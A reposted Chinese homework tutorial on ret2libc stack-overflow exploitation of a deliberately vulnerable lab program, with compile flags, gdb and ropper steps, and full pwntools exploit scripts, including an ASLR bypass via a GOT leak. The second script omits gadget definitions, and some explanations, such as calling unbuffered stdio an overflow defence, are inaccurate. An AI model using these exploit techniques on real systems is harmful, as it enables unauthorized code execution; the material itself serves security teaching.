华科信息系统安全作业: 利用ret2libc实现控制流劫持

这篇具有很好参考价值的文章主要介绍了华科信息系统安全作业: 利用ret2libc实现控制流劫持。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

一、目标程序分析

        main()函数分析

        要进行劫持的目标程序如下

#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <dlfcn.h>

void start() {
  printf("IOLI Crackme Level 0x00\n");
  printf("Password:");

  char buf[64];
  memset(buf, 0, sizeof(buf));
  read(0, buf, 256);

  if (!strcmp(buf, "250382"))
    printf("Password OK :)\n");
  else
    printf("Invalid Password!\n");
}

int main(int argc, char *argv[]) {

  setreuid(geteuid(), geteuid());
  setvbuf(stdout, NULL, _IONBF, 0);
  setvbuf(stdin, NULL, _IONBF,0);

  start();

  return 0;
}

         主程序这里三段代码的功能都是进行简单的安全防护

setreuid(geteuid(), geteuid());
setvbuf(stdout, NULL, _IONBF, 0);
setvbuf(stdin, NULL, _IONBF,0);

        我们可以找到geteuid()setreuid()函数的相关解释,简单来说,euid(有效用户)是创建程序的用户id,uid(真实用户)是运行程序过程中的用户id,一般情况下来说两者是相等的,但由于程序运行过程中某些操作可能需要更高的特权级来进行,于是这时的uid就会临时变为更高权限的用户id,比如root

        所以这里的setreuid()将程序执行中的uid也设置为euid,为了避免特权级被非法的提升

getuid() :  函数返回一个调用程序的真实用户ID。表明当前运行位置程序的执行者。

geteuid(): 函数返回返回一个有效用户的ID。(EUID)是你最初执行程序时所用的ID,该ID

是程序的所有者。   

setreuid(uid_t ruid, uid_t euid)用来将参数ruid 设为目前进程的真实用户识别码, 将参数euid 设置为目前进程的有效用户识别码. 如果参数ruid 或euid 值为-1, 则对应的识别码不会改变。

        setvbuf()函数的定义如下

int setvbuf(
   FILE *stream,
   char *buffer,
   int mode,
   size_t size
);

        是对stream流的缓冲区进行设置,在这里我们只需要关心其中的mode参数的含义,可以看到程序中使用的_IONBF是将缓冲区设置为无,这样的目的是可以部分防止缓冲区溢出漏洞

模式 描述
_IOFBF 全缓冲:对于输出,数据在缓冲填满时被一次性写入。对于输入,缓冲会在请求输入且缓冲为空时被填充。
_IOLBF 行缓冲:对于输出,数据在遇到换行符或者在缓冲填满时被写入,具体视情况而定。对于输入,缓冲会在请求输入且缓冲为空时被填充,直到遇到下一个换行符。
_IONBF 无缓冲:不使用缓冲。每个 I/O 操作都被即时写入。buffer 和 size 参数被忽略。

        start()函数

        start()函数中我们要着重利用的只有三行

  char buf[64];
  memset(buf, 0, sizeof(buf));
  read(0, buf, 256);

        buf的空间大小只有64,而read函数读入了256字节大小的数据,这样的结果是多出来的数据将覆盖栈空间,最终覆盖返回地址,而只要精心构造溢出来的部分数据,我们就可以使程序执行我们想要的命令

二、关闭ASLR

        在栈溢出时,我们想要知道栈溢出位置的具体地址,或者说是离基地址的距离,可以使用如下命令生成程序发生段错误时的core文件,core文件会记录发生错误时的内存、寄存器、栈信息等等,系统一般默认不生成core文件,我们用如下命令将core文件大小限制设置为无上限,这样每次发生段错误时都会生成一份core文件

ulimit -c unlimited 

        在安装pwntools后用cylic命令生成单一序列作为栈溢出的输入

华科信息系统安全作业: 利用ret2libc实现控制流劫持

        在编译目标程序时,注意编译选项,我们需要关闭栈保护、关闭NX,并且选择生成32位程序

gcc -fno-stack-protector -z execstack -no-pie -g -m32 stack.c -o stack

        编译生成程序后,我们使用上面生成的单一序列作为输入运行程序

华科信息系统安全作业: 利用ret2libc实现控制流劫持

        用gdb调试core文件

gdb ./stack core

        看到此时EIP的值被序列中的taaa覆盖

华科信息系统安全作业: 利用ret2libc实现控制流劫持

        用cyclic -l命令查找taaa在序列中的位置为76,代表从buf基地址到返回位置的距离为76

华科信息系统安全作业: 利用ret2libc实现控制流劫持

        所以在构造我们的payload即输入的数据时,前76个字符可以任意输入, 76之后则需要填入我们需要程序运行的代码片段,这里我们的目标是让程序打开并输出/tmp/flag文件中的内容,先通过c语言写出对应代码

read(0,buf,9);      //从标准输入读取文件名
open(buf,0);        //只读形式打开文件
read(3,buf,10);     //从文件读取10个字符
//这里因为0 1 2三个文件描述符都被系统占用,所以新打开的文件描述符值一般为3
write(1,buf,10);    //将buf中的10个字符输出到标准输出

        关于多函数如何装入栈中以及为什么要加入pop-ret gadget可以参考多函数调用,以上四个函数以及其地址、参数在栈中大致是如下结构

address of READ
PPPR
0
address of BUF
9   (len("/tmp/flag")
address of OPEN
PPR
address of BUF
0
addess of READ
PPPR
3
address of BUF
10
address of WRITE
PPPR
1
address of BUF
10
address of EXIT 
0xdeadbeef   (标记)
0


        接下来的重点在于如何找到read、open、 write等等函数的地址,这里因为我们关闭了ASLR,所以可以通过pwntools提供的工具直接找到其地址

        比如用gdb进入调试以后,用p read命令可以查看read函数的绝对地址为0xf7d0ade0

华科信息系统安全作业: 利用ret2libc实现控制流劫持

         用readelf -a /usr/lib32/libc.so.6 | grep " read"命令查看read在LIBC中的相对地址,这里显示read的相对地址为0x0010ad90

华科信息系统安全作业: 利用ret2libc实现控制流劫持

        用read的绝对地址减去相对地址就得到了LIBC的基地址,再通过类似命令查询出open、write、exit函数的相对地址,加上基地址就得到了我们需要函数的地址

        然后是关于pop-ret gadget的地址获取,我们知道多函数调用时,一个函数有几个参数那么就需要几个pop来清空栈空间,所以至少需要知道pop-pop-ret、pop-pop-pop-ret两个gadget的地址,首先我们用ropper --file ./stack | grep "pop" | grep "ret"  命令来看目标程序中是否含有pop-ret的结构

华科信息系统安全作业: 利用ret2libc实现控制流劫持

        可以看到有一个pop ebx;ret;的地址为0x0804901e,但我们需要两次或三次pop来清空栈,所以这明显是不够的,继续在LIBC里寻找pop-ret结构;我们执行ropper --file /usr/lib32/libc.so.6 | grep "pop" | grep "ret"命令

华科信息系统安全作业: 利用ret2libc实现控制流劫持

         找到了pop-pop-ret 结构的地址为0x00189a5b,pop-pop-pop-ret的地址为0x00115832,由于这是在LIBC中的相对地址,在使用时还需要加上LIBC的基地址

        最后一步是找到一块可以写的内存区域BUF,在gdb调试过程中执行vmmap --w命令,可以显示出可写的区域(如果输入vmmap后无效,把程序运行到中间位置再vmmap)

华科信息系统安全作业: 利用ret2libc实现控制流劫持

        我们找到了一块在目标程序中的可写区域,一般为程序的data段,这里地址为0x804c000,我们将0x804c020作为BUF的地址(如果直接用0x804c000可能会有莫名其妙的问题)

        到此为止所有需要的地址已经全部获得了,下面是构造的脚本代码

from pwn import *
p = process("./stack")

LIBC = 0xf7c00050
READ = LIBC+0x10ad90
OPEN = LIBC+0x10a870
WRITE = LIBC+0x10ae50 
EXIT = LIBC+0x3bc40

PPPR = LIBC+0x00115832
PPR = LIBC+0x00189a5b
PR = 0x0804901e

payload = b'A' * 76
BUF = 0x804c020

#从标准流读入文件名到BUF
payload += p32(READ)
payload += p32(PPPR)
payload += p32(0)
payload += p32(BUF)
payload += p32(9)

#打开文件
payload += p32(OPEN)
payload += p32(PPR)
payload += p32(BUF)
payload += p32(0)


#读取文件内容到BUF
payload += p32(READ)
payload += p32(PPPR)
payload += p32(3)
payload += p32(BUF)
payload += p32(10)

#将文件内容输出到标准流
payload += p32(WRITE)
payload += p32(PPPR)
payload += p32(1)
payload += p32(BUF)
payload += p32(10)

#退出
payload += p32(EXIT)
payload += p32(0xdeadbeef)
payload += p32(2)

p.sendline(payload)
p.interactive()

 三、开启ASLR

        在开启ASLR后,LIBC的基地址将会变为随机,open、read、write、exit函数的地址将会随之变化,PPR与PPPR的地址是在LIBC库中获取的,所以也会动态改变,只有BUF的地址因为是在目标程序中获取的所以不会变化;重点在于如何动态的获取LIBC基地址

        实际上是通过PLT表GOT表实现对LIBC地址的获取,关于PLT、GOT表的原理这里不再赘述,只需要知道的是,一个函数比如read在GOT表中的内容将会指向read的真正地址,所以我们需要做的是利用栈溢出,装入puts函数与read@got,利用程序将read@got指向的内容打印出来并接收,这样就获取到了read函数地址,同时read与LIBC相对地址是不变的,这样就得到了LIBC基地址,后续步骤与前面就再无二致了

        在gdb调试中用disass start反汇编start函数来找到puts以及read的plt

华科信息系统安全作业: 利用ret2libc实现控制流劫持

华科信息系统安全作业: 利用ret2libc实现控制流劫持         

        但我们要的是read@got的值,所以继续用disass 0x8049050找到read@got的值

华科信息系统安全作业: 利用ret2libc实现控制流劫持

        最后用disass main找到main函数的首地址就可以构造第一次payload

MAIN=0X804926b
num=76

payload_1 =b'A' * num
 
puts_plt=0x8049080
read_got=0x804c008

#让程序puts打印出read地址
payload_1 += p32(puts_plt)
payload_1 += p32(PR)
payload_1 += p32(read_got)

#装入main地址,让程序执行第二次
payload_1 += p32(MAIN)

p.sendline(payload_1)

#让程序在start函数最后!\n停止
p.recvuntil("!\n")

#接收四个字节,即read地址
PUTS=p.recv(4)
READ=int.from_bytes(PUTS,"little")

        到此我们就获取到了read函数的地址,即代表着LIBC地址也获取到了,后面则直接重复关闭ASLR时的脚本步骤,直接上完整代码(这里忘了写PR、PPR、PPPR的地址了,可以自行添加)文章来源地址https://www.toymoban.com/news/detail-441373.html

from pwn import *
p = process("./stack_aslr")

MAIN=0X804926b
BUF=0X804C020
num=76

payload = b'A' * num
payload_1 = b'A' * num
 
puts_plt=0x8049080
read_got=0x804c008

#让程序puts打印出read地址
payload_1 += p32(puts_plt)
payload_1 += p32(PR)
payload_1 += p32(read_got)

#装入main地址,让程序执行第二次
payload_1 += p32(MAIN)

p.sendline(payload_1)

#让程序在start函数最后!\n停止
p.recvuntil("!\n")

#接收四个字节,即read地址
PUTS=p.recv(4)
READ=int.from_bytes(PUTS,"little")
LIBC = READ - 0x10ad90

OPEN=0x10a870+LIBC
WRITE=0x10ae50+LIBC
EXIT=0x3bc40+LIBC

#read
payload += p32(READ)
payload += p32(PPPR)
payload += p32(0)
payload += p32(BUF)
payload += p32(9)
 
#open
payload += p32(OPEN)
payload += p32(PPR)
payload += p32(BUF)
payload += p32(0)
 
#read
payload += p32(READ)
payload += p32(PPPR)
payload += p32(3)
payload += p32(BUF)
payload += p32(10)
 
#write
payload += p32(WRITE)
payload += p32(PPPR)
payload += p32(1)
payload += p32(BUF)
payload += p32(5)
 
#exit
payload += p32(EXIT)
payload += p32(0xdeadbeef)
payload += p32(1)
 
p.sendline(payload)
p.interactive()

到了这里,关于华科信息系统安全作业: 利用ret2libc实现控制流劫持的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • kernel-pwn之ret2dir利用技巧

    ret2dir 是2014年在USENIX发表的一篇论文,该论文提出针对 ret2usr 提出的 SMEP 、 SMAP 等保护的绕过。全称为 return-to-direct-mapped memory ,返回直接映射的内存。 在 SMEP 与 SMAP 等用于隔离用户与内核空间的保护出现时,内核中常用的利用手法是 ret2usr ,如下图所示(图片来自论文)。

    2024年02月16日
    浏览(35)
  • CTF学习笔记——ret2text

    ret2text 应该算是PWN里面比较简单的题型了,这种题型有个显著特征,就是会有个很明显的后门函数,也就是 system(\\\"/bin/sh\\\") ,我们只需要将我们的程序跳转到后门函数即可。不过我们控制执行程序已有的代码的时候也可以控制程序执行好几段不相邻的程序已有的代码 (也就是

    2024年02月04日
    浏览(63)
  • 字符串溢出(pwn溢出)--ret2shellcode

    有些技术再也记不住了。所以记录笔记,下面这个文档写的蛮好的,不过我实际情况和他稍有不同,特此记录 pwn溢出入门案例, 信息安全 https://saucer-man.com/information_security/177.html 这里面的例子是常见的栈溢出,例子代码就是如上文中的代码,为了测试方便,如上面作者一样,

    2024年02月02日
    浏览(43)
  • 【PWN · IntegerOverflow & ret2text】[BJDCTF 2020]babystack2.0

    第一次遇见整数溢出的题目,值得记录一下(虽然这里的整数溢出很简单 目录 前言 一、整数溢出 二、解题思路 1.ELF/checksec查看保护 2.IDA反汇编 3.整数溢出  4.exp编写 总结 整数溢出漏洞——对于有/无符号数,长/短位宽转换时机器码的变换策略所指。 如果一个整数用来计算

    2024年02月06日
    浏览(42)
  • 湘潭大学信息安全课作业答案8

    湘潭大学信息安全课作业答案8 教师:李澄清院长 整理自助好心的助教大哥—申哥。 1.在本书第236页,给出了一个橘皮书中指导方针的例子,即面向层次C的测试。多疑的作者在书中也曾暗示这些指导方针有点似是而非。请思考下面的问题: a.为什么在第232页中给出的指导方针

    2024年02月05日
    浏览(38)
  • 湘潭大学信息安全课作业答案7

    湘潭大学信息安全课作业答案7 教师:李澄清院长 整理自助好心的助教大哥—申哥。 1. Do gENtleMnE rEad Not GeNtLeme\\\'ns otHer maIl gGtlNmenE Do otN eaRd thOer getleNmn\\\'Es Imal AeR oyu woh yuo Asy yuo Rae YoU Are yOu who YOu sAY aRe 2.请针对下面给出的每一个口令,分别找出有可能生成这些口令的相应的短语

    2024年02月04日
    浏览(37)
  • 利用开源AI引擎:打造安全生产作业人员穿戴检测应用平台

    在电力行业中,作业人员的安全是至关重要的。为了确保工作人员在进行电力设施操作时的个人安全,需要对作业人员的安全穿戴情况进行严格监控。随着计算视觉技术的发展,特别是图像处理和目标检测技术的进步,我们可以通过自动化的方式监测作业人员的安全穿戴情况

    2024年04月14日
    浏览(58)
  • 安卓期末大作业——图书信息管理系统

    前言 随着信息技术的高速发展,科技逐渐走进各行各业,帮助人们快速、便利地完成一些工作。BMS系统是基于Android移动设备的应用软件,该系统能够帮助用户在家里通过手机查看相应图书馆的馆藏情况,而不用到图书馆中查找。同时该系统还能够帮助管理员更加方便的查阅

    2024年02月03日
    浏览(45)
  • C#大作业——学生信息管理系统

    gitee项目地址(觉得有用的道友star一下,谢谢) 建立数据库结构 1:新建一个数据库 1:打开 数据库管理软件 navicat/SQLoya 2:创建连接 3:选择连接右键新建数据库 4:展开数据库 5:右键新建表 2:表中数据 唯一的ID:对这个表的标识 类似身份证 唯一。 id:一般我们都会让它

    2024年02月09日
    浏览(38)
  • 【计算机硬件系统设计(华科)——现代时序 CPU(Logisim 实现)】

    本章为《计算机硬件系统设计》的最后部分——现代时序CPU的设计与实现。 且本章未按照课程讲述设计(展示的设计内容实现指令 24 条)

    2024年02月09日
    浏览(43)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包